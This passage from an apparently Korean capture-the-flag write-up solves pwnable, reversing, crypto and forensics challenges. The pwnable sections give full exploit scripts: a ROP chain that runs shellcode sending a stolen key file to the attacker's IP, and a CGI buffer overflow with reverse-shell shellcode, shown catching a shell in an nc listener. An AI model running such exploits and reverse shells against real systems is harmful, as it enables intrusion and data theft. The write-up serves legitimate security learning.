명령이있는주소로리턴하기때문에최종적으로 RWX memory 로 RET 하게되는것이다. 그럼이제이론은성립됬으니실제로 Exploit 해보자. 아래는최종 Exploit 이다. #!/usr/bin/python from socket import * from struct import pack, unpack import time p = lambda x : pack("<l", x) SHELLCODE = "\x6a\x06\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb3\x01\x31\xc0\xb0\x66\xcd\x80\x89\xc7\x 31\xc0\x50\x50\x68[IPADDR]\xb6\xa7\xb2\x1e\xc1\xe2\x10\xb2\x02\x52\x6a\x10\x8d\x44\ x24\x04\x50\x57\x89\xe1\x31\xdb\xb3\x03\x31\xc0\xb0\x66\xcd\x80\x89\xfb\x89\xfd\x31 \xc0\x50\xb8\x67\x6f\x6f\x61\x40\x40\x50\x31\xd2\xb2\x04\x89\xe1\x31\xc0\xb0\x04\xc d\x80\x31\xc0\x50\x68\x2f\x6b\x65\x79\x68\x65\x2f\x70\x34\x68\x2f\x68\x6f\x6d\x89\x c1\x89\xe3\xb0\x05\xcd\x80\x89\xc6\x50\x31\xc0\x50\x31\xd2\xb2\x04\x89\xe1\x89\xcf\ x89\xf3\x31\xc0\xb0\x03\xcd\x80\x85\xc0\x74\x1b\x8b\x0f\xbb\x15\x15\x15\x15\x31\xd9 \x89\x0f\x89\xc2\x89\xf9\x31\xdb\x89\xeb\x31\xc0\xb0\x04\xcd\x80\xeb\xd1" HOST = "210.124.110.102" PORT = 9090 base_addr = 0x0804A0A0 send_plt = 0x08048710 recv_plt = 0x080486F0 strcpy_plt = 0x080485F0 ppppr = 0x08048AEC ppr = 0x080487A2 leave_ret = 0x080487D1 fd = 0x00000004 rwx_ptr = 0x08049ff8 # start address of global variable # pop ; pop ; pop ; pop ; ret # pop ebx ; pop ebp ; ret # &GOT+4 28
freespace = 0x0804ab40 # &.bss+n stage_0 = "" stage_0 += p(ppr+1) stage_0 += p(base_addr + 0x204 + 4*3-4) stage_0 += p(leave_ret) stage_1 = "" stage_1 += p(send_plt) stage_1 += p(ppppr) stage_1 += p(fd) stage_1 += p(rwx_ptr) stage_1 += p(0x4) stage_1 += p(0) stage_1 += p(recv_plt) stage_1 += p(ppppr) stage_1 += p(fd) stage_1 += p(freespace) stage_1 += p(0x200) stage_1 += p(0) stage_1 += p(ppr+1) stage_1 += p(freespace-4) stage_1 += p(leave_ret) payload = "a"*0x204 + stage_0 + stage_1 s = socket(af_inet, SOCK_STREAM) s.connect((host, PORT)) s.recv(1024) s.send(payload) stage_2 = "" stage_2 += p(recv_plt) stage_2 += p(ppr+1) stage_2 += p(fd) rwx_memory = s.recv(4) stage_2 += rwx_memory print "[+] RWX memory addr : 0x%x" %unpack("<l", rwx_memory)[0] stage_2 += p(len(shellcode)) stage_2 += p(0) s.send(stage_2) time.sleep(2) s.send(shellcode) time.sleep(1) s.close() * 쉘코드에서 ip 지정하는부분은일부러지움 여러가지쉘코드를사용해가며공격해봤지만제대로동작하는것이없어예전에짜두었던 read_xor_send 쉘코드를사용했다. 쉘코드가실행되면 key 를읽어오고 key 를 xor 해서지정해준 ip 와 port 로전송해준다. Exploit 을실행해보자 29
[pwn3r@localhost p4]$./exploit.py [+] RWX memory addr : 0xb7791918 root@localhost:~/pwn3r# python recv_server.py ('210.124.110.102', 65470)iooa ('210.124.110.102', 65470)chchchchapsqndtkdxo 정상적으로인증키를획득했다. Flag : chchchchapsqndtkdxo 30
PWNABLE (5) Point : 500 Catergory : Pwnable Type. PWNABLES (5) [500] Subject [by. yoyo] DAWN Content http://210.124.110.102:5555/~yoyo File: dawn >>> print Count(Solver) 2 Hint Summary : Simple CGI service buffer overflow on Cent OS 6.2 URL 과 ELF excutable 파일이주어졌다. 주어진 URL 에서 ELF excutable 파일이 cgi 서비스로서돌아가고있었 다. ELF excutable 파일의 main 함수부분을디컴파일해보면아래와같은코드를볼수있다. int cdecl main_8048504() puts("content-type: text/html\r\n"); PRINT_HTML_8048522(); return VULN_8048CAC(); main 함수의코드자체는간결하다. main 함수가하는역할은 puts 함수로 Content-Type 를설정해주고많은 PRINT_HTML 이라는서브함수를호출한다. PRINT_HTML 함수에선 printf 함수들로 HTML page 를출력한다. HTML page 출력이끝나면 VULN 함수를호출하는데 VULN 함수가바로취약점이발생하는함수다. (* 함수명은분석하면서임의로지정한것 ) int cdecl VULN_8048CAC() char dest; // [sp+8h] [bp-104h]@1 char *src; // [sp+108h] [bp-4h]@1 src = getenv("http_accept_language"); printf("\n"); strcpy(&dest, src); return printf("%s\n", &dest); VULN함수는 HTTP_ACCEPT_LANGUAGE라는환경변수의주소를받아와이를스택지역변수에 strcpy함수로복사한다. 스택지역변수에복사되는 HTTP_ACCEPT_LANGUAGE 환경변수에는 Accept-Language라는헤더의값이들어가는데, 꽤많은데이터를넣어줄수있기때문에충분히스택에있는리턴어드레스를덮을수있다. 31
이제취약점은확인했으니공략하기만하면된다. 근데서버의환경은 CentOS 6.2이다. 기본적으로 ASLR과 NX가모두걸려있을거라고생각할수있지만문제바이너리에 execstack옵션이걸려있어사실상거의모든메모리가실행권한을가진다. 그러므로이제 ASLR만신경쓰면된다. ASLR을우회해스택에있는쉘코드를실행하는방법을고민해보다가 getenv함수를이용하기로했다. 아래와같은 payload를리턴어드레스자리에덮어줌으로써 getenv함수를호출해 HTTP_ACCEPT_LANGUAGE 환경변수의주소값을가져오고, call *eax를실행해해당환경변수의주소로 EIP를옮겨가도록했다. [getenv@plt] [&call_eax] [&"HTTP_ACCEPT_LANGUAGE"] HTTP_ACCEPT_LANGUAGE 환경변수의앞부분에원하는쉘코드를넣어둔다면환경변수의주소로 EIP 가 변경되면서원하는쉘코드가실행될것이다. 그럼이제이를토대로 Exploit 을작성해보자. #!/usr/bin/python from socket import * from struct import pack HOST = "210.124.110.102" PORT = 5555 p = lambda x : pack("<l", x) SHELLCODE = "\x31\xc9\x31\xdb\x31\xc0\xb0\x66\x53\x43\x53\x43\x53\x4b\x89\xe1\xcd\x80\x88\xc3\x b0\x66\x51\x51\x68[ipaddr]\x66\x68\x7a\x69\x66\x6a\x02\x89\xe2\x6a\x10\x52\x53\xb3\ x03\x89\xe1\xcd\x80\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xb0\x3f\x41\xcd\x80\x31\xc0 \x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0 b\xcd\x80" getenv_plt = 0x080483DC call_eax = 0x080484F9 # trash env_ptr = 0x08049F7E payload = "" payload += SHELLCODE payload += "a"*(0x108-len(shellcode)) payload += p(getenv_plt) payload += p(call_eax) payload += p(env_ptr) DATA = "" DATA += "GET /~yoyo/ HTTP/1.0" + "\r\n" DATA += "Accept-Language: " + payload + "\r\n" DATA += "\r\n\r\n" s = socket(af_inet, SOCK_STREAM) s.connect((host, PORT)) s.send(data) s.recv(1024) s.close() CGI 서비스에서 dup2 system call 로 1 번 file descriptor, 즉표준출력에해당하는 file descriptor 를복제하려고 시도하면에러가나면서프로세스가죽어버리기때문에 ( 이유는모르겠음 ) dup2(fd, 1) 부분이없는쉘코드를 사용해주고표준출력을표준에러로리다이렉션해줌으로써결과를확인해야한다. 32
그럼이제작성한 Exploit 으로공격을진행해보자 [pwn3r@localhost p5]$./exploit.py pwn3r@localhost:~/pwn3r$ nc -lvp 31337 listening on [any] 31337... 210.124.110.102: inverse host lookup failed: Unknown server error : Connection timed out connect to [110.8.231.86] from (UNKNOWN) [210.124.110.102] 65532 id 1>&2 uid=500(yoyo) gid=500(yoyo) groups=500(yoyo) cat key 1>&2 I'm terrorist 서버의쉘을획득하고정상적으로인증키를획득했다. Flag : I'm terrorist 33
BINARY (1) Point : 100 Catergory : Reversing Type. BINARY (1) [100] Subject [by. RExVuz] HADES_App Content 천재해커 HADES 는자신만의비공개모바일애플리케이션을개발하였다. 하지만모그룹소속의뉴비하커에의해서빼돌려지고유출되어서실행해보았지만인증시스템이걸려있었 다. 이인증시스템을우회하여로그인하고하커를도와주자! File: ADES.xap >>> print Count(Solver) 34 Hint Summary : Windows Phone application reversing 주어진파일은윈도우폰 Application 이다. xap 파일의확장자를 zip 으로바꾸어 ADES.dll 을닷넷리플렉터로 분석했다. public MainPage() char[] chrarray = new char[] '2', '0', '1', '2', '\u005f', 'S', 'e', 'c', 'u', 'r', 'i', 't', 'y', 'F', 'i', 'r', 's', 't', '\u005f', 'F', 'i', 'g', 'h', 't', 'i', 'n', 'g', '!', '!', '!', ':', ')' ; this.charset = chrarray; base(); Thread.Sleep(7777); this.initializecomponent(); this.passcode.visibility = Visibility.Collapsed; private void AuthBtn_Click(object sender, RoutedEventArgs e) if (this.drivec.password == "" this.drived.password == "") MessageBox.Show(" 입력해주세요!"); if (this.drivec.password == "Y2K" && this.drived.password == "CIH") this.passcode.visibility = Visibility.Visible; private void PassCode_TextChanged(object sender, TextChangedEventArgs e) 34
string str = "ecnis"; byte num = Convert.ToByte("11", 2); object[] password = new object[9]; password[0] = this.drived.password; password[1] = "_YI"; password[2] = this.charset[5]; password[3] = this.charset[19]; password[4] = new string(str.tochararray().reverse<char>().toarray<char>()); password[5] = 200; password[6] = num; password[7] = "_"; password[8] = this.drivec.password; if (this.passcode.text == string.concat(password)) Uri uri = new Uri(string.Concat("/Auth.xaml?PassCode=", this.passcode.text), UriKind.Relative); base.navigationservice.navigate(uri); 위는핵심적인코드만모아둔것이다. 사용자의입력이위루틴에서생성한문자열과같다면어떤문자열을 출력해주는부분이있다. PassCode_TextChanged 에서생성하는부분을그대로따라하면 CIH_YISFsince2003_Y2K 라는문자열을얻을수있었고, 이문자열로인증을시도하자인증에성공했다. Flag : CIH_YISFsince2003_Y2K 35
BINARY (2) Point : 200 Catergory : Reversing Type. BINARY (2) [200] Subject [by. hakbaby] twins Content Troublesome twins File: b2 >>> print Count(Solver) 22 Hint #1. 같지만다른쌍둥이 : 진실은언제나단하나!!:) #2. 키값은단한명의운영진이가진다. #3. ida_pro : 배열루틴을보세요 Summary :?? PE excutable 파일하나가주어졌다. IDA 의 Hex-ray 로분석해본다. 아래는 b2 바이너리의핵심루틴만을모은 것이다. sub_402020(0x186b8u, this); Buffer = 0; memset(&v18, 0, 0x1869Fu); wsprintfa(filename, "%s", "hakbaby.exe"); v14 = InternetOpenA("HTTP", 0, 0, 0, 0); v1 = InternetOpenUrlA(v14, "http://210.124.110.197/hakbaby/hakbaby.exe", 0, 0, 0x80000000u, 0); if (!v1 ) InternetCloseHandle(v14); hobject = CreateFileA(FileName, 0x40000000u, 0, 0, 2u, 0x80u, 0); do InternetQueryDataAvailable(v1, &dwnumberofbytestoread, 0, 0); InternetReadFile(v1, &Buffer, dwnumberofbytestoread, &dwnumberofbytesread); WriteFile(hObject, &Buffer, dwnumberofbytesread, &NumberOfBytesWritten, 0); while ( dwnumberofbytesread ); InternetCloseHandle(v1); InternetCloseHandle(v14); CloseHandle(hObject); v19 = (int)"intenila.exe"; wsprintfa(filename, "%s", "intenila.exe"); v14 = InternetOpenA("HTTP", 0, 0, 0, 0); v2 = InternetOpenUrlA(v14, "http://210.124.110.197/hakbaby/intenila.exe", 0, 0, 0x80000000u, 0); if (!v2 ) InternetCloseHandle(v14);...... 36
........................ v19 = (int)"yoyo.exe"; wsprintfa(filename, "%s", "yoyo.exe"); v8 = InternetOpenA("HTTP", 0, 0, 0, 0); v9 = InternetOpenUrlA(v8, "http://210.124.110.197/hakbaby/yoyo.exe", 0, 0, 0x80000000u, 0); if (!v9 ) InternetCloseHandle(v8); hobject = CreateFileA(FileName, 0x40000000u, 0, 0, 2u, 0x80u, 0); do InternetQueryDataAvailable(v9, &dwnumberofbytestoread, 0, 0); InternetReadFile(v9, &Buffer, dwnumberofbytestoread, &dwnumberofbytesread); WriteFile(hObject, &Buffer, dwnumberofbytesread, &NumberOfBytesWritten, 0); while ( dwnumberofbytesread ); InternetCloseHandle(v9); InternetCloseHandle(v8); CloseHandle(hObject); return sub_4017d4( (void *)((unsigned int)&v23 ^ v22), 0, &v23 == (int *)v22, (signed int)((unsigned int)&v23 ^ v22) < 0, 0, 1, v11, v22, v20, v21, v23); 보다시피지정해둔 URL 에접속하여서버에있는 exe 파일들을여러개받아오고현재폴더에 exe 파일을저 장한다. b2 바이너리실행후생긴 exe 파일들은아래와같다. 운영진닉네임.exe 의형식으로 7개의 exe파일을가져왔는데코드를살펴보면대부분루틴이모두동일하다. 7개모두유저로부터아이디와비밀번호를입력받고맞으면특정문자열을출력하는루틴만을수행하기때문에한참을헤맸다. 하지만 1번힌트를보고나서 7개의바이너리들을서로 diffing 해본결과 intenila.exe에서만눈에띄게많은 different bytes가발견되었다. 그래서 intenila.exe를다시한번분석해보았더니처음에특정메모리에의심스 37
러운문자열을만드는것을확인할수있었다. 그래서 intenila.exe 를실행하고디버거로 attach 하여메모리를살펴보니다음과같이의심스러운문자열이 메모리에생성되었고이문자열로인증을시도했더니인증에성공했다. Flag : 1ocm::0n1y_U 38
CRYPTO (1) Point : 100 Catergory : Crypto Type. CRYPTO (1) [100] Subject [by. intenila] 산넘어산 Content 당신은검색마스터 -_-b 그나저나 bgm 이흥이나는군요... Link : crypto100 >>> print Count(Solver) 34 Hint #1. 그림들이무엇을하고있나요? #2. 저.. 신기해보이는것은무엇일까요? Summary : The Adventure of the Dancing Men crypto, GOLD BUG crypto 문제 URL 이주어졌다. URL 에접속해보면아래그림과같은화면이보여진다. 아래대화에서 IU가말한내용이 ANSWER이라고한다. IU가말한부분을보면춤의동작들을그려서이어붙여둔것같은그림들이여러개있다. 그리고대화위에적힌사진들도모두춤을추는사진임을미루어보아춤과관련된암호화라고짐작해볼수있다. 그래서춤과관련된암호를계속검색해본결과셜록홈즈라는소설의스토리중 " The Adventure of the 39
Dancing Men " 편에서등장했던암호라고한다. IU가말한부분의각그림을위의사진에서찾아알파벳으로치환하면 EXCUSEMEPLEASEGETOUTOFHERE 라는문자열을얻을수있고, 이를 ANSWER 부분에입력하면다음단계로넘어간다. 다음단계로넘어가면아래그림과같은화면이나타난다. 출제자분이사진을잘못연결한것같아신경쓰이긴하지만일단문제부터풀이해야한다. 40
이번에도대화내역을복호화하여 ANSWER를알아내는문제이다. 앞단계에서도그랬듯이적혀있는문장외에별도로첨부되어있는그림들이큰힌트라고판단했고, 그림에나와있는벌레와관련된암호를검색하다보니문제는 GOLD BUG라는암호로암호화되어있음을알수있었다. GOLD BUG 암호를복호화할수있는사이트를찾았고해당사이트에서암호를복호화하여 ANSWER를알아낼수있었다. ANSWER 는 NOVELISTEDGARALLENPOE 이다. 이를밑에있는인증폼에넣으면다른페이지로넘어가게 되는데해당페이지에인증키가있었다. Flag : I_do_1ike_4_detective_st0ry 41
CRYPTO (2) Point : 100 Catergory : Crypto Type. CRYPTO (2) [100] Subject [by. intenila] Death Content 즐거운암호학시간 파일압축해제후나온데이터파일들분석할필요없습니다. prezi 파일인.exe 파일만실행해서열심 히 PPT 보시고푸시면됩니다! File: DES_PRESENTATION.7z >>> print Count(Solver) 8 Hint #1. 예시를잘보세요 ( 예시결과암호문에띄어쓰기는무시해주세요 ) #2. DES 가가지고있는특성혹은성질은?? #3. 무차별대입공격아닙니다. #4. 취약키, 세미취약키공격이아닙니다. #5. 기지평문공격, 선택평문공격, 선택암호문공격등등.. 은아닙니다. 최종힌트. " 보수 " Summary : DES complementation property 주어진파일은 prezi 파일이다. prezi 내용을요약해살펴보면아래와같다. 42
문제에서요구하는것은평문 0xB6AA968CA99A8D86A99A8D86BC8A8B9A 와 암호문 0xE3F6035438F5E4C4E5D19D922E97E886 사이에사용된키를찾는것이다. 본인이이문제를풀때에는이미힌트 1, 2 번이나와있었기때문에많은시행착오없이진행할수가있었 다. 2 번힌트가의미하는것은보수성질이며, 1 번힌트가의미하는것은예시와문제가서로보수관계에있 다는것이다. 그러므로예시에서사용한키 0x5072657474794955 의보수를취하면문제의인증키가된다. 한번보수를취해보자. 원래비트연산으로하는게맞겠지만아무튼결과는같으니좀이상하게연산했다. >>> hex(0x10000000000000000-0x5072657474794955-1) '0xaf8d9a8b8b86b6aaL' 위값을대문자로변환해인증을시도했더니인증에성공했다. Flag : AF8D9A8B8B86B6AA 43
CRYPTO (3) Point : 200 Catergory : Crypto Type. CRYPTO (3) [200] Subject [by. intenila] 뭐.. 뭔가있어보여.. Content 비밀이담겨있는듯한파일을받았다! 무슨비밀이숨어있는지밝혀내보자 + ㅅ + File: A_pink.7z >>> print Count(Solver) 5 Hint #0. 2012 년 08 월 17 일 #1. 각파일마다비밀이숨겨져있어용 #2. 파일시그니처를잘살펴 BoA 요! #3. EOF Summary : guessing, Enigma crypto 7z 압축파일이주어졌다. 주어진파일의압축을풀어보면 mp3 파일과 png 파일로의심되는이상한파일하나 가추출된다. 2 개의파일을헥스에디터로열어보니의심스러운헤더들이보인다. 위의 mp3 파일의마지막부분을보면 jpg 파일의헤더가뒤집혀있는것을확인할수있다. 다른파일도의심스러운헤더들이보인다. PNG 헤더가 2 번씩반복되어있는것을볼수있다. 이로미루어보아홀수 offset 의 byte 들과짝수 offset 의 44
byte 들을분리시켜보면의미있는 PNG 파일이나올것이라고추측해볼수있다. mp3 파일도마찬가지로파일전체를뒤집어보면의미있는 jpg 파일이나올것이라고추측해볼수있다. 아래스크립트들을이용해 jpg 파일과 png 파일을추출했다. #!/usr/bin/python f = open("input.mp3", "rb") data = f.read() f.close() data1 = data[::-1] f1 = open("output.jpg", "wb") f1.write(data1) f1.close() #!/usr/bin/python f = open("input.file", "rb") data = f.read() f.close() data1 = "" data2 = "" for i in range(0,len(data),2): data1 += data[i] for j in range(1,len(data),2): data2 += data[j] f1 = open("1.png", "wb") f1.write(data1) f1.close() f2 = open("2.png", "wb") f2.write(data2) f2.close() 위스크립트들을실행하자아래그림과같은파일들을얻을수있었다. 45
Enigma 암호문과암호문해독에필요한정보들이다. 주어진정보로 Enigma 암호문을복호화하면 LOVELYSCORPION 이란문자열이나오고, 이문자열로인증을시도했더니인증에성공했다. Flag : LOVELYSCORPION 46
FORENSICS&MISC (1) Point : 100 Catergory : Forensic Type. FORENSICS&MISC (1) [100] Subject [by. MANO] USB Content SCH 도서관의컴퓨터를누군가가해킹했다!! 단한명의용의자가있는데... 용의자의컴퓨터를이용해용의자가공격에사용한 USB 를찾아내어 해킹한시간을알아내라 Key : lowercase(md5("usb Connect Time"_"Serial Number"_"Vendor ID")) 예 ) MD5(MMDDHHmmss_123456789_0x1234) 해서나온결과를소문자로변환하여인증 08-18, 00:50 이전시간에주어진파일이잘못되었습니다. 죄송합니다. 다시다운로드받아주세요. File: forensics100.zip >>> print Count(Solver) 29 Hint 제가자주보고공부하는블로그입니다 #1. http://forensic-proof.com/archives/3744 Summary : USB forensic zip 압축파일이주어졌다. 문제파일의압축을풀어보면 Suspect.7z 와 Victim.7z 라는새로운압축파일을얻을 수있었고두 7z 파일을각각압축을풀어보면 Victim 과 Suspect 는각각피해자와공격자컴퓨터의 /var/log/ 디렉토리의파일들을저장해놓은것같아보이는파일들을볼수있었다. 공격자의컴퓨터환경은 linux이고피해자의컴퓨터환경은 Mac이다. 공격자의컴퓨터에선 messages파일에서, 피해자의컴퓨터에선 kernel.log파일에서 usb연결정보를볼수있었다. (* 참고문서 - linux에서 usb흔적추적하기 : http://forensic-proof.com/archives/3708) (* 참고문서 - Mac에서 usb흔적추적하기 : http://forensic-proof.com/archives/3744) usb 가해킹하는데사용되었다면공격자와피해자의컴퓨터에모두연결된기록이있어야한다. 이를토대로 피해컴퓨터에서연결기록을필터링해보면아래연결기록들중하나에서피해가발생한것이다. Jul 27 07:49:18 RExVuz-Mac kernel[0]: USBMSC Identifier (non-unique): ML04012700018601 0x90c 0x1000 0x1100 Jul 27 09:10:22 RExVuz-Mac kernel[0]: USBMSC Identifier (non-unique): AA00000000000001 0x90c 0x1000 0x1100 47
Jul 27 09:11:21 RExVuz-Mac kernel[0]: USBMSC Identifier (non-unique): 3111050000023786 0x90c 0x1000 0x1100 Jul 27 09:13:37 RExVuz-Mac kernel[0]: USBMSC Identifier (non-unique): 3111050000023786 0x90c 0x1000 0x1100 Aug 9 12:44:38 RExVuz-Mac kernel[0]: USBMSC Identifier (non-unique): ZYRUS10121740137 0x90c 0xe540 0x3000 Aug 10 07:22:52 RExVuz-Mac kernel[0]: USBMSC Identifier (non-unique): 5811020000165358 0x90c 0x1000 0x1100 경우의수가몇가지없으므로일일이인증키형식에맞추어인증해주다보면 0727091022_AA00000000000001_0x90c 를 md5 해서인증을시도했을때인증에성공했다. Flag : 4550c35d78b4daf199199208c17ae924 48
FORENSICS&MISC (2) Point : 200 Catergory : Forensic Type. FORENSICS&MISC (2) [200] Subject [by. RExVuz] i-doser Content 여느때처럼 starbugs 에서커피한잔의여유를즐기고있던차도남수사관이라디오를통해음악방송을 듣고있었다. 그런데갑자기알수없는이상한소리와잡음이발생하였다. 몇분후그에게 SFTV 방송국에서연락이오 고수사를요청하였다. 1 초라도빨리수사하기위해방송국으로기어간수사관. 해커가흔적으로남긴음성파일들을잘들어보는 데... File: i-_-doser.zip >>> print Count(Solver) 23 Hint misc 100 #1. ListenToMe.mp3( 인증키정보 ) -> Spectrogram [ 글자가잘안보이는것같아서적어드립니다. " 동물 (6 자 )"] #2. R.wav + Ex.wav + Vuz.wav(3 개의파일의데이터를모두합침 ) -> Spectrogram #3. SFTV.wav -> SFTV 와비슷해보이는영어단어 (SSTV) Summary : Spectrogram, SST zip 압축파일이주어졌다. 해당파일의압축을풀어보면 ListenToMe.mp3 라는음악파일과 evidence 라는폴 더가있고 evidence 란폴더에는 R.wav, Vuz.wav, Ex.wav, SFTV.wav 라는음악파일들이있다. ListenToMe.mp3 라는파일을재생해보면띠리리거리면서이상한소리간나는데이파일의스펙트럼을보니 메시지가숨겨져있었다. 49
위메시지를기록해보면아래와같은문장이완성된다. [1] 영문대문자와 underscore 조합 [2] 인증키형식및글자수 = [R+Ex+Vuz 국가명 [5 자 ]]_[R+Ex+Vuz 단어 (5 자 )]_[SFTV 동물 (6 자 )]_[SFTV 단어 (4 자 )] 인증키의형식을보면 R+Ex+Vuz 안에여러데이터가숨겨져있을것이라는것을확인해볼수있다. R.wav, Ex.wav, Vuz.wav 모두 ListenToMe.mp3처럼띠리리하는소리만났기때문에스펙트럼을확인해보았더니알아볼수없는문양이나타났다. 그래서 R+Ex+Vuz의의미를좀더생각해서세음악파일의음파들을모두합쳐서스펙트럼을확인했더니아래와그림과같은화면이나타났다. 따라서앞의 2개의인증키는 KOREA_DOKDO가된다. 이제남은 SFTV.wav에숨겨진데이터를찾아야하는데삽질을거듭하던중 "SSTV" 라는힌트가나타났다. SSTV를검색하다보면 MMSSTV라는프로그램을찾을수있는데, 이프로그램을실행시켜둔채로 SFTV.wav를재생해보면아래그림과같은화면이나타난다. (* 원래는원숭이그림밑에 DUDE 라는문자열도나타났지만 write-up 쓸때해보니잘나타나지않았다 -_-) 50
위그림에서얻은정보까지합하여인증키를만들어보면 KOREA_DOKDO_MONKEY_DUDE 가된다 :) Flag : KOREA_DOKDO_MONKEY_DUDE 51
FORENSICS&MISC (3) Point : 200 Catergory : Forensic Type. FORENSICS&MISC (3) [200] Subject [by. Rust] B1t Ste90 Content 어둠의범죄조직 OOO 에서위조지폐를만들기위한화폐의도안을어떠한그림파일들에숨겨서공유하고있 었다. 하지만그림파일을봐도별다른차이가없어보이는똑같은 2 개의그림파일인것같았다. 두파일을비교하여블랙머니의도안을찾아위조지폐의유통을막자! File: B1t Ste90.rar >>> print Count(Solver) 20 Hint #1. A xor B = C C xor B = A C xor A = B Summary : Binary diffing rar 압축파일이주어졌다. 파일의압축을풀어보면 origin.bmp 와 diff.bmp 라는 2 개의그림파일이나타난다. 두그림파일은눈으로보기엔똑같지만, 헥스에디터로비교해보면꽤많은바이트들이조금씩다른것을 확인해볼수있다. 힌트로주어진 xor 연산을보고두파일을 xor 연산해저장하고 bmp 파일의헤더를맞춰줬 더니검정색그림이나타났다. 그림을아주자세히보면지폐형상과함께인증키가적혀있다. rgb 값들을수정하여인증키를좀더선명하게볼수있겠지만당시엔 1 등뺏기기직전이라똥줄타서노트 북들고여러각도에서보면서읽어냈던것으로기억한다. Flag : If hack is Not Fun, why do hack? 52
FORENSICS&MISC (4) Point : 300 Catergory : Forensic Type. FORENSICS&MISC (4) [300] Subject [by. RExVuz] 0과 1사이에숨겨진증거 Content 경찰청으로입수된미모 (?) 의여성해커가사용하던컴퓨터하드디스크파일의일부이다. 얼리어답터해커답게 MicroSoft 의 Windows 8 을사용하고있던그녀는얼굴책 App 을이용하여미남 (!) 해커라고알려진누군가와교류하였다. 이들의수상한행적을포착하여수감시킬증거를찾아내자! File: between0&1.7z >>> print Count(Solver) 18 Hint Summary : Windows 8 forensic 주어진 7z 파일의압축을풀면 Users 라는폴더가있고그아래론 C:\Users 를덤프해둔듯한파일이있다. 문제에서얼굴책 App 을이용해교류했다고했으므로 Facebook App 이용흔적을찾아보았다. Windows 8 에선 messaging 기능에 facebook 연동이가능하다. 아래경로에 Facebook 개인정보등이남는다는점을이용해뒤적거려보았다. %SystemRoot%\Users\%User%\AppData\Local\Packages\Microsoft.windowscommunicationsapp s_8wekyb3d8bbwe\ac\microsoft\internet Explorer\DOMStore\%HistoryFolder%\microsoft[#].xml 뒤적거리다보니아래와같은메시지를발견할수있었다. To. Rk Pa 정보보호페스티벌홍보 URL에비밀폴더를만들어두었는데 "[Fo.fO.F0].php" 페이지에서로그인할수있어. 아이디는당연히알거라고믿고, 비밀번호는너컴퓨터필기장에메모해뒀다람쥐너의컴퓨터에모든단서를기록해두었으니잘찾아봐주길! :) From. 하행운 메시지내용에서의미하는홍보 URL은 yisf.sch.ac.kr이다. 해당서버에비밀페이지가만들어졌다는것까진알았지만, 비밀폴더는알지못한다. 하지만본인이만들었다면웹브라우저로접속한기록이있을것이기때문에 Internet Explorer사용기록을확인해본다. 사용기록에서홈페이지주소인 yisf.sch.ac.kr을포함한주소들만찾아보니아래와같은 URL들이나왔다. 53
[root@localhost f4]# strings output grep yisf.sch.ac.kr Visited: RExVuz@http://yisf.sch.ac.kr/F023N51C5_4_U/ Visited: RExVuz@http://yisf.sch.ac.kr/favicon.ico Visited: RExVuz@http://yisf.sch.ac.kr/ Visited: RExVuz@http://yisf.sch.ac.kr/F023N51C5_4_U/ Visited: RExVuz@http://yisf.sch.ac.kr/F023N51C5_4_U Visited: RExVuz@http://yisf.sch.ac.kr/ http://yisf.sch.ac.kr/ yisf.sch.ac.kr yisf.sch.ac.kr http://yisf.sch.ac.kr/f023n51c5_4_u yisf.sch.ac.kr yisf.sch.ac.kr :2012081020120811: RExVuz@http://yisf.sch.ac.kr/ :2012081020120811: RExVuz@:Host: yisf.sch.ac.kr :2012081020120811: RExVuz@http://yisf.sch.ac.kr/F023N51C5_4_U/ http://yisf.sch.ac.kr/ yisf_sch_ac_kr[1].htm http://yisf.sch.ac.kr/images/yisf_2011p.jpg http://yisf.sch.ac.kr/images/yisf_2007p.jpg http://yisf.sch.ac.kr/images/yisf_2009p.jpg http://yisf.sch.ac.kr/images/yisf_2006p.gif http://yisf.sch.ac.kr/images/yisf_2008p.jpg http://yisf.sch.ac.kr/images/yisf_2012p.jpg http://yisf.sch.ac.kr/images/yisf_2010p.jpg http://yisf.sch.ac.kr/f023n51c5_4_u Location: http://yisf.sch.ac.kr/f023n51c5_4_u/ http://yisf.sch.ac.kr/f023n51c5_4_u/ URL내용들중 F023N51C5_4_U를비밀폴더로의심해볼수있다. 메시지에서적힌대로비밀폴더아래에있는 [Fo.fO.F0].php, 즉 http://yisf.sch.ac.kr/f023n51c5_4_u/[fo.fo.f0].php 에접속해보면아파치인증으로아이디와패스워드를입력받는다. 아이디는출제자의닉네임 (RExVuz) 일것이라고가정하고, 패스워드는처음에아무폴더나뒤적거리다가찾아서인증키인줄알고좋아했던아래그림에적힌문자열을넣어준다. 그럼비밀페이지에정상적으로접속되고, 소스를확인해보면주석으로인증키가적혀있다. Flag : IaM FofOf0rensics K!N) (* 참고문서 : http://forensicinsight.org/wp-content/uploads/2012/03/insight-windows-8-forensics.pdf) 54